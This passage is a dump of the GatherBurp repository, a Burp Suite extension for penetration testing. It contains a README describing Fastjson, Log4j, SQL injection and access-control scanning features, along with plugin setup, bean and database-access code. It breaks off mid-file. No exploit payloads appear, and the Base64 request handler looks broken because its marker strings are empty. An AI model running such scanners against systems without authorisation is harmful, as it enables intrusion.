Repository: kN6jq/gatherBurp Branch: master Commit: ec6d8aa0582e Files: 78 Total size: 543.5 KB Directory structure: gitextract_wqm_s8bq/ ├── .gitignore ├── .idea/ │ ├── .gitignore │ ├── MarsCodeWorkspaceAppSettings.xml │ ├── encodings.xml │ ├── misc.xml │ ├── runConfigurations.xml │ ├── uiDesigner.xml │ └── vcs.xml ├── README.md ├── pom.xml └── src/ └── main/ ├── java/ │ └── burp/ │ ├── BurpExtender.java │ ├── bean/ │ │ ├── AuthBean.java │ │ ├── ConfigBean.java │ │ ├── FastjsonBean.java │ │ ├── Log4jBean.java │ │ ├── NucleiBean.java │ │ ├── PermBean.java │ │ ├── RouteBean.java │ │ ├── SimilarDomainConfigBean.java │ │ ├── SimilarDomainResultBean.java │ │ ├── SimilarProjectBean.java │ │ ├── SimilarUrlResultBean.java │ │ └── SqlBean.java │ ├── dao/ │ │ ├── ConfigDao.java │ │ ├── FastjsonDao.java │ │ ├── Log4jDao.java │ │ ├── PermDao.java │ │ ├── RouteDao.java │ │ ├── SimilarDomainConfigDao.java │ │ ├── SimilarDomainResultDao.java │ │ ├── SimilarProjectDao.java │ │ ├── SimilarUrlResultDao.java │ │ └── SqlDao.java │ ├── menu/ │ │ ├── AuthMenu.java │ │ ├── FastjsonMenu.java │ │ ├── Log4jMenu.java │ │ ├── NucleiMenu.java │ │ ├── PermMenu.java │ │ ├── RouteMenu.java │ │ ├── SqlMenu.java │ │ └── TextProcessMenu.java │ ├── ui/ │ │ ├── AuthUI.java │ │ ├── ConfigUI.java │ │ ├── FastjsonUI.java │ │ ├── Log4jUI.java │ │ ├── MainUI.java │ │ ├── PermUI.java │ │ ├── RouteUI.java │ │ ├── SimilarHelper/ │ │ │ ├── CacheManager.java │ │ │ ├── TableRenderer.java │ │ │ ├── ThreadManager.java │ │ │ ├── bean/ │ │ │ │ ├── Domain.java │ │ │ │ ├── Project.java │ │ │ │ └── URL.java │ │ │ ├── dialog/ │ │ │ │ ├── DomainConfigDialog.java │ │ │ │ └── ProjectManageDialog.java │ │ │ ├── table/ │ │ │ │ ├── DomainTable.java │ │ │ │ └── URLTable.java │ │ │ └── tablemodel/ │ │ │ └── TableModel.java │ │ ├── SimilarUI.java │ │ ├── SocksUI.java │ │ ├── SqlUI.java │ │ ├── UIHandler.java │ │ ├── UIHepler/ │ │ │ └── GridBagConstraintsHelper.java │ │ └── UrlRedirectUI.java │ └── utils/ │ ├── CustomScanIssue.java │ ├── DbUtils.java │ ├── ExpressionUtils.java │ ├── I18nUtils.java │ ├── JsonProcessorUtil.java │ ├── JsonUtils.java │ ├── Nuclei.java │ ├── ResponseSimilarityMatcher.java │ ├── RobotInput.java │ ├── SmartRequestDetector.java │ ├── UrlCacheUtil.java │ └── Utils.java └── resources/ └── logback.xml ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitignore ================================================ target/ !.mvn/wrapper/maven-wrapper.jar !**/src/main/**/target/ !**/src/test/**/target/ ### IntelliJ IDEA ### .idea/modules.xml .idea/jarRepositories.xml .idea/compiler.xml .idea/libraries/ *.iws *.iml *.ipr ### Eclipse ### .apt_generated .classpath .factorypath .project .settings .springBeans .sts4-cache ### NetBeans ### /nbproject/private/ /nbbuild/ /dist/ /nbdist/ /.nb-gradle/ build/ !**/src/main/**/build/ !**/src/test/**/build/ ### VS Code ### .vscode/ ### Mac OS ### .DS_Store ================================================ FILE: .idea/.gitignore ================================================ # Default ignored files /shelf/ /workspace.xml # Editor-based HTTP Client requests /httpRequests/ # Datasource local storage ignored files /dataSources/ /dataSources.local.xml # GitHub Copilot persisted chat sessions /copilot/chatSessions ================================================ FILE: .idea/MarsCodeWorkspaceAppSettings.xml ================================================ ================================================ FILE: .idea/encodings.xml ================================================ ================================================ FILE: .idea/misc.xml ================================================ ================================================ FILE: .idea/runConfigurations.xml ================================================ ================================================ FILE: .idea/uiDesigner.xml ================================================ ================================================ FILE: .idea/vcs.xml ================================================ ================================================ FILE: README.md ================================================ # GatherBurp
![GatherBurp Logo](images/img.png) [![License](https://img.shields.io/github/license/kN6jq/gatherBurp)](LICENSE) [![Stars](https://img.shields.io/github/stars/kN6jq/gatherBurp)](https://github.com/kN6jq/gatherBurp/stargazers) [![Issues](https://img.shields.io/github/issues/kN6jq/gatherBurp)](https://github.com/kN6jq/gatherBurp/issues) [![Release](https://img.shields.io/github/v/release/kN6jq/gatherBurp)](https://github.com/kN6jq/gatherBurp/releases) **一款强大的 BurpSuite 安全测试扩展,集成多种漏洞检测与渗透测试功能** [功能特点](#-功能特点) • [快速开始](#-快速开始) • [详细文档](#-详细文档) • [贡献指南](#-贡献指南) • [交流讨论](#-交流讨论)
## 📋 功能特点 GatherBurp 集成了多种安全测试功能,可大幅提升渗透测试和漏洞挖掘效率。 ### 🔍 漏洞检测 - **Fastjson 漏洞扫描** - 支持 DNS 回连检测 - 支持 JNDI 利用链检测 - 支持回显检测(Tomcat、Spring 等环境) - 支持版本识别 - **SQL 注入检测** - 支持 GET、POST 参数检测 - 支持 Cookie 参数检测 - 支持多层级 JSON 参数检测 - 支持报错注入、时间盲注、布尔盲注 - 支持自定义 payload 和检测规则 - **Log4j 漏洞检测** - 支持 DNS 和 IP 回连检测 - 支持参数和 Header 检测 - 自定义 payload 列表 - **URL 重定向漏洞检测** - 自动检测常见重定向参数 - 支持自定义 payload 和参数列表 - 结果可按 ID 数值排序 ### 🛡️ 权限测试 - **越权访问检测** - 支持原始请求、低权限请求和无权限请求对比 - 自动分析响应长度差异 - 结果可按 ID 数值排序 - **认证绕过测试** - URI 特殊字符绕过 - Header 字段绕过 - Accept 头绕过 ### 🌐 信息收集 - **多层级路由扫描** - 支持复杂条件表达式过滤 - 自定义字典和规则 - 智能识别有效路径 ### 🔧 辅助工具 - **Nuclei 模板生成** - 一键生成 Nuclei 扫描模板 - 支持多种漏洞类型 - **代理池功能** - 支持 SOCKS 代理 - 多代理自动切换 - **复杂数据提交** - 支持 Base64 编码数据自动解码 - 解决序列化数据编码问题 - **工具快速调用** - 支持自定义工具集成 - 支持占位符:{url}、{host}、{request} ## 🚀 快速开始 ### 安装要求 - JDK 1.8+ - BurpSuite Professional 2021.x+ - Maven 3.6+ (仅编译时需要) ### 编译安装 ```bash # 克隆仓库 git clone https://github.com/kN6jq/gatherBurp.git # 进入项目目录 cd gatherBurp # 编译打包 mvn clean package ``` 编译后的 JAR 文件位于 `target/` 目录下。 ### 在 BurpSuite 中加载 1. 打开 BurpSuite Professional 2. 进入 `Extender` -> `Extensions` 标签 3. 点击 `Add` 按钮 4. 选择 `Java` 类型,并选择编译好的 JAR 文件 5. 点击 `Next` 完成加载 ### 基本使用 所有功能可通过以下方式访问: 1. **右键菜单**:在 Proxy、Repeater 等模块中右键点击请求 2. **扩展标签页**:在 BurpSuite 顶部标签栏中的 `GatherBurp` 标签 ## 📚 详细文档 ### Fastjson 扫描 ![Fastjson扫描](images/img_1.png) **使用步骤:** 1. 在 `配置` 标签页设置 DNS 和 IP 2. 右键选择 `FastJson` -> 选择检测类型: - DNS 检测:适用于外网环境 - JNDI 检测:支持 DNS/IP 回连 - 回显检测:适用于内网环境 - 版本检测:识别 Fastjson 版本 **高级配置:** - DNS 扫描:配置类型为 dns,使用 FUZZ 占位符 - 回显检测支持多种环境:Tomcat、Spring 等 ### SQL 注入检测 **功能特点:** - 支持多种注入类型检测 - 支持参数、Cookie、Header、JSON 数据 - 支持自定义 payload 和错误关键字 - 支持白名单域名过滤 - 结果可按 ID 数值排序 **使用方法:** 1. 右键选择 `SQL Inject` 2. 在标签页中配置检测参数 3. 查看检测结果和详细请求响应 ### Log4j 漏洞检测 **功能特点:** - 支持 DNS 和 IP 回连检测 - 支持参数和 Header 检测 - 自定义 payload 列表 - 结果可按 ID 数值排序 **使用方法:** 1. 右键选择 `Log4j Scan` 2. 在标签页中配置检测参数 3. 查看检测结果和详细请求响应 ### 权限检测 ![权限检测](images/img_2.png) **功能特点:** - 支持原始请求、低权限请求和无权限请求对比 - 自动分析响应长度差异 - 结果可按 ID 数值排序 **使用方法:** 1. 右键选择 `Perm Check` 2. 在标签页中配置低权限和无权限认证信息 3. 查看检测结果和详细请求响应对比 ### URL 重定向检测 **功能特点:** - 自动检测常见重定向参数 - 支持自定义 payload 和参数列表 - 结果可按 ID 数值排序 **使用方法:** 1. 右键选择 `UrlRedirect` 2. 在标签页中配置检测参数 3. 查看检测结果和详细请求响应 ### 多层级路由扫描 **表达式语法:** ``` code=200 body="hello" title="druid" headers="Content-Type: application/json" # 复杂条件 code=200 && body="hello" code!=200 && (body="hello" || title="druid") ``` **使用方法:** 1. 在 `Route` 标签页配置扫描参数 2. 设置字典和过滤条件 3. 开始扫描并查看结果 ### 工具快速调用 **配置方法:** 1. 在 `配置` 标签页添加工具名称和命令 2. 支持以下占位符: - `{url}`: 当前请求的完整 URL - `{host}`: 当前请求的主机名 - `{request}`: 当前请求的临时文件路径 **使用方法:** 右键菜单中选择配置好的工具名称即可快速调用 ## 🤝 贡献指南 我们非常欢迎各种形式的贡献: - 🐛 **报告 Bug**:提交详细的 Bug 报告,包括复现步骤 - 💡 **功能建议**:提出新功能或改进建议 - 📝 **文档改进**:完善或更正文档内容 - 🔧 **代码贡献**:提交 Pull Request 修复问题或添加功能 **贡献流程:** 1. Fork 本仓库 2. 创建功能分支 (`git checkout -b feature/amazing-feature`) 3. 提交更改 (`git commit -m 'Add some amazing feature'`) 4. 推送到分支 (`git push origin feature/amazing-feature`) 5. 提交 Pull Request ## 👥 交流讨论 加入微信讨论群: 请移步 Issues 查看群聊二维码 ## 📋 未来计划 - [ ] 更多漏洞检测模块 - [ ] 性能优化和代码重构 - [ ] 完善文档和使用示例 - [ ] 支持更多自定义配置选项 - [ ] 国际化支持 ## ⚠️ 免责声明 本工具仅用于授权的安全测试和教育目的,请勿用于非法用途。使用本工具造成的任何后果由使用者自行承担。 ## 📄 许可证 [MIT License](LICENSE) ---
如果觉得这个项目对您有帮助,请给个 Star ⭐️ 支持一下!
================================================ FILE: pom.xml ================================================ 4.0.0 org.xm17 gatherBurp 1.2.0-SNAPSHOT jar gatherBurp http://maven.apache.org UTF-8 jitpack.io https://jitpack.io com.github.bit4woo burp-api-common master-SNAPSHOT com.intellij forms_rt 7.0.3 org.xerial sqlite-jdbc 3.43.2.2 com.alibaba fastjson 1.2.83 net.portswigger.burp.extender burp-extender-api 2.3 org.springframework spring-expression 4.3.22.RELEASE maven-assembly-plugin burp.BurpExtender . jar-with-dependencies make-assembly package single org.apache.maven.plugins maven-compiler-plugin 8 8 ================================================ FILE: src/main/java/burp/BurpExtender.java ================================================ package burp; import burp.bean.ConfigBean; import burp.menu.*; import burp.ui.MainUI; import burp.utils.RobotInput; import burp.utils.Utils; import javax.swing.*; import java.awt.event.ActionEvent; import java.io.PrintWriter; import java.util.*; import static burp.dao.ConfigDao.getToolConfig; import static burp.utils.Utils.writeReqFile; public class BurpExtender implements IBurpExtender, IContextMenuFactory, IHttpListener { @Override public void registerExtenderCallbacks(IBurpExtenderCallbacks iBurpExtenderCallbacks) { Utils.callbacks = iBurpExtenderCallbacks; Utils.helpers = iBurpExtenderCallbacks.getHelpers(); Utils.stdout = new PrintWriter(iBurpExtenderCallbacks.getStdout(), true); Utils.stderr = new PrintWriter(iBurpExtenderCallbacks.getStderr(), true); Utils.callbacks.setExtensionName(Utils.NAME); Utils.callbacks.registerContextMenuFactory(this); Utils.callbacks.registerHttpListener(this); MainUI mainUI = new MainUI(Utils.callbacks); Utils.callbacks.addSuiteTab(mainUI); SwingUtilities.invokeLater(new Runnable() { @Override public void run() { Utils.callbacks.customizeUiComponent(mainUI); } }); Utils.stdout.println("[" + Utils.NAME + " v" + Utils.VERSION + "] by " + Utils.AUTHOR + " loaded successfully.\n"); Utils.stdout.println("Tip: If any errors occur, delete the '.gather' directory in your user folder and reload the extension.\n"); Utils.stdout.println("GitHub: https://github.com/kN6jq/gatherBurp\n"); } @Override public List createMenuItems(IContextMenuInvocation iContextMenuInvocation) { List listMenuItems = new ArrayList(1); IHttpRequestResponse[] requestResponses = iContextMenuInvocation.getSelectedMessages(); IHttpRequestResponse baseRequestResponse = iContextMenuInvocation.getSelectedMessages()[0]; // 如果是个空的, 则返回null if (baseRequestResponse.getHttpService() == null) { return null; } List toolParam = getToolConfig(); for (ConfigBean config : toolParam) { String name = config.getType(); String value = config.getValue(); if (!name.isEmpty() && !value.isEmpty()) { JMenuItem jMenuItem = new JMenuItem(name); jMenuItem.addActionListener(new AbstractAction() { @Override public void actionPerformed(ActionEvent e) { if (value.contains("{url}")){ String url = Utils.helpers.analyzeRequest(baseRequestResponse).getUrl().toString(); try { RobotInput ri = new RobotInput(); ri.inputString(value.replace("{url}", url)); } catch (Exception ex) { Utils.stderr.println(ex.getMessage()); } }else if (value.contains("{host}")) { String host = baseRequestResponse.getHttpService().getHost(); try { RobotInput ri = new RobotInput(); ri.inputString(value.replace("{host}", host)); } catch (Exception ex) { Utils.stderr.println(ex.getMessage()); } } else if (value.contains("{request}")) { String requestFilePath = writeReqFile(baseRequestResponse); if (requestFilePath != null) { try { RobotInput ri = new RobotInput(); ri.inputString(value.replace("{request}", requestFilePath)); } catch (Exception ex) { Utils.stderr.println(ex.getMessage()); } } else { Utils.stderr.println("Failed to write request file."); } } } }); listMenuItems.add(jMenuItem); } } JMenu fastjson = new JMenu("FastJson"); fastjson.add(new FastjsonMenu().FastjsonDnslogMenu(requestResponses)); fastjson.add(new FastjsonMenu().FastjsonEchoMenu(requestResponses)); fastjson.add(new FastjsonMenu().FastjsonJNDIMenu(requestResponses)); fastjson.add(new FastjsonMenu().FastjsonVersionMenu(requestResponses)); listMenuItems.add(fastjson); listMenuItems.add(new SqlMenu(requestResponses)); listMenuItems.add(new AuthMenu(requestResponses)); listMenuItems.add(new RouteMenu(requestResponses)); listMenuItems.add(new Log4jMenu(requestResponses)); listMenuItems.add(new PermMenu(requestResponses)); listMenuItems.add(new NucleiMenu(requestResponses)); listMenuItems.add(new TextProcessMenu(iContextMenuInvocation)); return listMenuItems; } @Override public void processHttpMessage(int toolFlag, boolean messageIsRequest, IHttpRequestResponse messageInfo) { if (toolFlag == IBurpExtenderCallbacks.TOOL_REPEATER && messageIsRequest) { byte[] request = messageInfo.getRequest(); String requestStr = Utils.helpers.bytesToString(request); if (requestStr.contains("")) { // 解码 base64 数据 String data = requestStr.substring(requestStr.indexOf("") + 9, requestStr.indexOf("")); byte[] decodedData = Base64.getDecoder().decode(data); // 构建新的请求体 byte[] newBytes = new byte[requestStr.indexOf("") + decodedData.length + (request.length - requestStr.indexOf("") - 10)]; System.arraycopy(request, 0, newBytes, 0, requestStr.indexOf("")); System.arraycopy(decodedData, 0, newBytes, requestStr.indexOf(""), decodedData.length); System.arraycopy(request, requestStr.indexOf("") + 10, newBytes, requestStr.indexOf("") + decodedData.length, request.length - requestStr.indexOf("") - 10); // 更新 Content-Length IRequestInfo analyzedRequest = Utils.helpers.analyzeRequest(newBytes); List headers = new ArrayList<>(analyzedRequest.getHeaders()); int bodyOffset = analyzedRequest.getBodyOffset(); int contentLength = newBytes.length - bodyOffset; // 更新或添加 Content-Length 头 boolean contentLengthFound = false; for (int i = 0; i < headers.size(); i++) { if (headers.get(i).startsWith("Content-Length:")) { headers.set(i, "Content-Length: " + contentLength); contentLengthFound = true; break; } } if (!contentLengthFound) { headers.add("Content-Length: " + contentLength); } // 重建请求 byte[] body = new byte[newBytes.length - bodyOffset]; System.arraycopy(newBytes, bodyOffset, body, 0, body.length); byte[] updatedRequest = Utils.helpers.buildHttpMessage(headers, body); messageInfo.setRequest(updatedRequest); } } } } ================================================ FILE: src/main/java/burp/bean/AuthBean.java ================================================ package burp.bean; public class AuthBean { private String method; private String path; private String headers; public AuthBean() { } public AuthBean(String method, String path, String headers) { this.method = method; this.path = path; this.headers = headers; } public String getMethod() { return method; } public void setMethod(String method) { this.method = method; } public String getPath() { return path; } public void setPath(String path) { this.path = path; } public String getHeaders() { return headers; } public void setHeaders(String headers) { this.headers = headers; } } ================================================ FILE: src/main/java/burp/bean/ConfigBean.java ================================================ package burp.bean; public class ConfigBean { private Integer id; private String module; private String type; private String value; public ConfigBean() { } public ConfigBean(String module, String type, String value) { this.module = module; this.type = type; this.value = value; } public Integer getId() { return id; } public void setId(Integer id) { this.id = id; } public String getModule() { return module; } public void setModule(String module) { this.module = module; } public String getType() { return type; } public void setType(String type) { this.type = type; } public String getValue() { return value; } public void setValue(String value) { this.value = value; } } ================================================ FILE: src/main/java/burp/bean/FastjsonBean.java ================================================ package burp.bean; public class FastjsonBean { private Integer id; private String type; private String value; public FastjsonBean() { } public FastjsonBean(String type, String value) { this.type = type; this.value = value; } public Integer getId() { return id; } public void setId(Integer id) { this.id = id; } public String getType() { return type; } public void setType(String type) { this.type = type; } public String getValue() { return value; } public void setValue(String value) { this.value = value; } } ================================================ FILE: src/main/java/burp/bean/Log4jBean.java ================================================ package burp.bean; public class Log4jBean { private Integer id; private String type; private String value; public Log4jBean() { } public Log4jBean(String type, String value) { this.type = type; this.value = value; } public Log4jBean(Integer id, String type, String value) { this.id = id; this.type = type; this.value = value; } public Integer getId() { return id; } public void setId(Integer id) { this.id = id; } public String getType() { return type; } public void setType(String type) { this.type = type; } public String getValue() { return value; } public void setValue(String value) { this.value = value; } } ================================================ FILE: src/main/java/burp/bean/NucleiBean.java ================================================ package burp.bean; public class NucleiBean { private String id; private String name; private String author; private String severity; private String description; private String reference; private String tags; private String method; private String path; private String header; private String dsl; private String raw; public NucleiBean() { } public String getId() { return id; } public void setId(String id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } public String getAuthor() { return author; } public void setAuthor(String author) { this.author = author; } public String getSeverity() { return severity; } public void setSeverity(String severity) { this.severity = severity; } public String getDescription() { return description; } public void setDescription(String description) { this.description = description; } public String getReference() { return reference; } public void setReference(String reference) { this.reference = reference; } public String getTags() { return tags; } public void setTags(String tags) { this.tags = tags; } public String getMethod() { return method; } public void setMethod(String method) { this.method = method; } public String getPath() { return path; } public void setPath(String path) { this.path = path; } public String getHeader() { return header; } public void setHeader(String header) { this.header = header; } public String getDsl() { return dsl; } public void setDsl(String dsl) { this.dsl = dsl; } public String getRaw() { return raw; } public void setRaw(String raw) { this.raw = raw; } } ================================================ FILE: src/main/java/burp/bean/PermBean.java ================================================ package burp.bean; /** * @Author Xm17 * @Date 2024-06-22 10:47 */ public class PermBean { private int id; private String type; private String value; public PermBean() { } public PermBean(String type, String value) { this.type = type; this.value = value; } public int getId() { return id; } public void setId(int id) { this.id = id; } public String getType() { return type; } public void setType(String type) { this.type = type; } public String getValue() { return value; } public void setValue(String value) { this.value = value; } } ================================================ FILE: src/main/java/burp/bean/RouteBean.java ================================================ package burp.bean; public class RouteBean { private int id; private int enable; private String name; private String path; private String express; public RouteBean() { } public RouteBean(int id, int enable, String name, String path, String express) { this.id = id; this.enable = enable; this.name = name; this.path = path; this.express = express; } public int getId() { return id; } public void setId(int id) { this.id = id; } public int getEnable() { return enable; } public void setEnable(int enable) { this.enable = enable; } public String getName() { return name; } public void setName(String name) { this.name = name; } public String getPath() { return path; } public void setPath(String path) { this.path = path; } public String getExpress() { return express; } public void setExpress(String express) { this.express = express; } } ================================================ FILE: src/main/java/burp/bean/SimilarDomainConfigBean.java ================================================ package burp.bean; public class SimilarDomainConfigBean { private int id; private int projectId; private String domain; private String createTime; public SimilarDomainConfigBean() { } public SimilarDomainConfigBean(int projectId, String domain) { this.projectId = projectId; this.domain = domain; } public int getId() { return id; } public void setId(int id) { this.id = id; } public int getProjectId() { return projectId; } public void setProjectId(int projectId) { this.projectId = projectId; } public String getDomain() { return domain; } public void setDomain(String domain) { this.domain = domain; } public String getCreateTime() { return createTime; } public void setCreateTime(String createTime) { this.createTime = createTime; } } ================================================ FILE: src/main/java/burp/bean/SimilarDomainResultBean.java ================================================ package burp.bean; public class SimilarDomainResultBean { private int id; private int projectId; private String domain; private String ip; private String createTime; public SimilarDomainResultBean() { } public SimilarDomainResultBean(int projectId, String domain, String ip) { this.projectId = projectId; this.domain = domain; this.ip = ip; } public int getId() { return id; } public void setId(int id) { this.id = id; } public int getProjectId() { return projectId; } public void setProjectId(int projectId) { this.projectId = projectId; } public String getDomain() { return domain; } public void setDomain(String domain) { this.domain = domain; } public String getIp() { return ip; } public void setIp(String ip) { this.ip = ip; } public String getCreateTime() { return createTime; } public void setCreateTime(String createTime) { this.createTime = createTime; } } ================================================ FILE: src/main/java/burp/bean/SimilarProjectBean.java ================================================ package burp.bean; public class SimilarProjectBean { private int id; private String name; private String createTime; public SimilarProjectBean() { } public SimilarProjectBean(String name) { this.name = name; } public int getId() { return id; } public void setId(int id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } public String getCreateTime() { return createTime; } public void setCreateTime(String createTime) { this.createTime = createTime; } } ================================================ FILE: src/main/java/burp/bean/SimilarUrlResultBean.java ================================================ package burp.bean; public class SimilarUrlResultBean { private int id; private int projectId; private String url; private String createTime; public SimilarUrlResultBean() { } public SimilarUrlResultBean(int projectId, String url) { this.projectId = projectId; this.url = url; } public int getId() { return id; } public void setId(int id) { this.id = id; } public int getProjectId() { return projectId; } public void setProjectId(int projectId) { this.projectId = projectId; } public String getUrl() { return url; } public void setUrl(String url) { this.url = url; } public String getCreateTime() { return createTime; } public void setCreateTime(String createTime) { this.createTime = createTime; } } ================================================ FILE: src/main/java/burp/bean/SqlBean.java ================================================ package burp.bean; public class SqlBean { private int id; private String type; private String value; public SqlBean() { } public SqlBean(String type, String value) { this.type = type; this.value = value; } public int getId() { return id; } public void setId(int id) { this.id = id; } public String getType() { return type; } public void setType(String type) { this.type = type; } public String getValue() { return value; } public void setValue(String value) { this.value = value; } } ================================================ FILE: src/main/java/burp/dao/ConfigDao.java ================================================ package burp.dao; import burp.bean.ConfigBean; import burp.utils.DbUtils; import burp.utils.Utils; import java.sql.Connection; import java.sql.PreparedStatement; import java.sql.ResultSet; import java.sql.SQLException; import java.util.ArrayList; import java.util.List; public class ConfigDao { // 根据模块和类型获取配置 public static ConfigBean getConfig(String module, String type) { ConfigBean config = new ConfigBean(); String sql = "select value from config where module = ? and type = ? order by id desc limit 1"; Connection connection = null; try { connection = DbUtils.getConnection(); } catch (SQLException e) { throw new RuntimeException(e); } PreparedStatement ps = null; ResultSet resultSet = null; try { ps = connection.prepareStatement(sql); ps.setString(1, module); ps.setString(2, type); resultSet = ps.executeQuery(); while (resultSet.next()) { config.setValue(resultSet.getString("value")); } } catch (Exception e) { Utils.stderr.println(e.getMessage()); } finally { DbUtils.close(connection, ps, resultSet); } return config; } // 删除配置 public static void deleteConfig(String type) { String sql = "delete from config where type = ?"; Connection connection = null; try { connection = DbUtils.getConnection(); } catch (SQLException e) { throw new RuntimeException(e); } PreparedStatement ps = null; try { ps = connection.prepareStatement(sql); ps.setString(1, type); ps.executeUpdate(); } catch (Exception e) { e.printStackTrace(); } finally { DbUtils.close(connection, ps, null); } } // 根据id删除工具配置 public static void deleteToolConfig(String type) { String sql = "delete from config where type = ?"; Connection connection = null; try { connection = DbUtils.getConnection(); } catch (SQLException e) { throw new RuntimeException(e); } PreparedStatement ps = null; try { ps = connection.prepareStatement(sql); ps.setString(1, type); ps.executeUpdate(); } catch (Exception e) { e.printStackTrace(); } finally { DbUtils.close(connection, ps, null); } } // 根据类型更新配置 public static void updateConfig(ConfigBean config) { String sql = "update config set value = ? where type = ? and module = ?"; Connection connection = null; try { connection = DbUtils.getConnection(); } catch (SQLException e) { throw new RuntimeException(e); } PreparedStatement ps = null; try { ps = connection.prepareStatement(sql); ps.setString(1, config.getValue()); ps.setString(2, config.getType()); ps.setString(3, config.getModule()); ps.executeUpdate(); } catch (Exception e) { e.printStackTrace(); } finally { DbUtils.close(connection, ps, null); } } // 保存配置 public static void saveConfig(ConfigBean config) { String sql = "INSERT OR REPLACE INTO config (module, type, value) VALUES (?, ?, ?)"; Connection connection = null; try { connection = DbUtils.getConnection(); } catch (SQLException e) { throw new RuntimeException(e); } PreparedStatement ps = null; try { ps = connection.prepareStatement(sql); ps.setString(1, config.getModule()); ps.setString(2, config.getType()); ps.setString(3, config.getValue()); ps.executeUpdate(); } catch (Exception e) { Utils.stderr.println(e.getMessage()); } finally { DbUtils.close(connection, ps, null); } } // 获取工具配置 public static List getToolConfig() { List configs = new ArrayList<>(); String sql = "select * from config where module = 'tool'"; Connection connection = null; try { connection = DbUtils.getConnection(); } catch (SQLException e) { throw new RuntimeException(e); } PreparedStatement ps = null; ResultSet resultSet = null; try { ps = connection.prepareStatement(sql); resultSet = ps.executeQuery(); while (resultSet.next()) { ConfigBean config = new ConfigBean(); config.setId(resultSet.getInt("id")); config.setModule(resultSet.getString("module")); config.setType(resultSet.getString("type")); config.setValue(resultSet.getString("value")); configs.add(config); } } catch (Exception e) { Utils.stderr.println(e.getMessage()); } finally { DbUtils.close(connection, ps, resultSet); } return configs; } } ================================================ FILE: src/main/java/burp/dao/FastjsonDao.java ================================================ package burp.dao; import burp.bean.FastjsonBean; import burp.utils.DbUtils; import burp.utils.Utils; import java.sql.Connection; import java.sql.PreparedStatement; import java.sql.ResultSet; import java.sql.SQLException; import java.util.ArrayList; import java.util.List; public class FastjsonDao { public static List getFastjsonListsByType(String type) { List fastjsons = new ArrayList<>(); String sql = "select * from fastjson where type = ?"; Connection connection = null; try { connection = DbUtils.getConnection(); } catch (SQLException e) { throw new RuntimeException(e); } PreparedStatement ps = null; ResultSet resultSet = null; try { ps = connection.prepareStatement(sql); ps.setString(1, type); resultSet = ps.executeQuery(); while (resultSet.next()) { FastjsonBean fastjson = new FastjsonBean(); fastjson.setId(resultSet.getInt("id")); fastjson.setType(resultSet.getString("type")); fastjson.setValue(resultSet.getString("url")); fastjsons.add(fastjson); } } catch (Exception e) { Utils.stderr.println(e.getMessage()); } finally { DbUtils.close(connection, ps, resultSet); } return fastjsons; } } ================================================ FILE: src/main/java/burp/dao/Log4jDao.java ================================================ package burp.dao; import burp.bean.Log4jBean; import burp.utils.DbUtils; import burp.utils.Utils; import java.sql.Connection; import java.sql.PreparedStatement; import java.sql.ResultSet; import java.sql.SQLException; import java.util.ArrayList; import java.util.List; public class Log4jDao { // 获取多个 public static List getLog4jListsByType(String type) { String sql = "SELECT * FROM log4j WHERE type = ?"; Connection connection = null; try { connection = DbUtils.getConnection(); } catch (SQLException e) { throw new RuntimeException(e); } PreparedStatement ps = null; ResultSet rs = null; List log4jBeans = new ArrayList<>(); try { ps = connection.prepareStatement(sql); ps.setString(1, type); rs = ps.executeQuery(); while (rs.next()) { Log4jBean log4jBean = new Log4jBean(); log4jBean.setId(rs.getInt("id")); log4jBean.setType(rs.getString("type")); log4jBean.setValue(rs.getString("value")); log4jBeans.add(log4jBean); } } catch (Exception e) { Utils.stderr.println(e.getMessage()); } finally { DbUtils.close(connection, ps, rs); } return log4jBeans; } // 获取一个 public static Log4jBean getLog4jListByType(String type) { String sql = "SELECT * FROM log4j WHERE type = ?"; Connection connection = null; try { connection = DbUtils.getConnection(); } catch (SQLException e) { throw new RuntimeException(e); } PreparedStatement ps = null; ResultSet rs = null; try { ps = connection.prepareStatement(sql); ps.setString(1, type); rs = ps.executeQuery(); while (rs.next()) { Log4jBean log4jBean = new Log4jBean(); log4jBean.setId(rs.getInt("id")); log4jBean.setType(rs.getString("type")); log4jBean.setValue(rs.getString("value")); return log4jBean; } } catch (Exception e) { Utils.stderr.println(e.getMessage()); } finally { DbUtils.close(connection, ps, rs); } return null; } // 保存 public static void saveLog4j(Log4jBean log4jBean) { String sql = "INSERT INTO log4j(type, value) VALUES(?, ?)"; Connection connection = null; try { connection = DbUtils.getConnection(); } catch (SQLException e) { throw new RuntimeException(e); } PreparedStatement ps = null; try { ps = connection.prepareStatement(sql); ps.setString(1, log4jBean.getType()); ps.setString(2, log4jBean.getValue()); ps.executeUpdate(); } catch (Exception e) { Utils.stderr.println(e.getMessage()); } finally { DbUtils.close(connection, ps, null); } } // 更新 public static void updateLog4j(Log4jBean log4jBean) { String sql = "UPDATE log4j SET value = ? WHERE type = ?"; Connection connection = null; try { connection = DbUtils.getConnection(); } catch (SQLException e) { throw new RuntimeException(e); } PreparedStatement ps = null; try { ps = connection.prepareStatement(sql); ps.setString(1, log4jBean.getValue()); ps.setString(2, log4jBean.getType()); ps.executeUpdate(); } catch (Exception e) { Utils.stderr.println(e.getMessage()); } finally { DbUtils.close(connection, ps, null); } } // 删除 public static void deleteLog4jByType(String type) { String sql = "DELETE FROM log4j WHERE type = ?"; Connection connection = null; try { connection = DbUtils.getConnection(); } catch (SQLException e) { throw new RuntimeException(e); } PreparedStatement ps = null; try { ps = connection.prepareStatement(sql); ps.setString(1, type); ps.executeUpdate(); } catch (Exception e) { Utils.stderr.println(e.getMessage()); } finally { DbUtils.close(connection, ps, null); } } } ================================================ FILE: src/main/java/burp/dao/PermDao.java ================================================ package burp.dao; import burp.bean.PermBean; import burp.utils.DbUtils; import burp.utils.Utils; import java.sql.Connection; import java.sql.PreparedStatement; import java.sql.ResultSet; import java.sql.SQLException; import java.util.ArrayList; import java.util.List; /** * @Author Xm17 * @Date 2024-06-22 10:48 */ public class PermDao { // 保存 public static void savePerm(PermBean permBean){ String sql = "INSERT OR REPLACE INTO perm (type, value) VALUES (?, ?)"; Connection connection = null; try { connection = DbUtils.getConnection(); } catch (SQLException e) { throw new RuntimeException(e); } PreparedStatement ps = null; try { ps = connection.prepareStatement(sql); ps.setString(1, permBean.getType()); ps.setString(2, permBean.getValue()); ps.executeUpdate(); } catch (Exception e) { Utils.stderr.println(e.getMessage()); } finally { DbUtils.close(connection, ps, null); } } // 更新 public static void updatePerm(PermBean permBean){ String sql = "update perm set value = 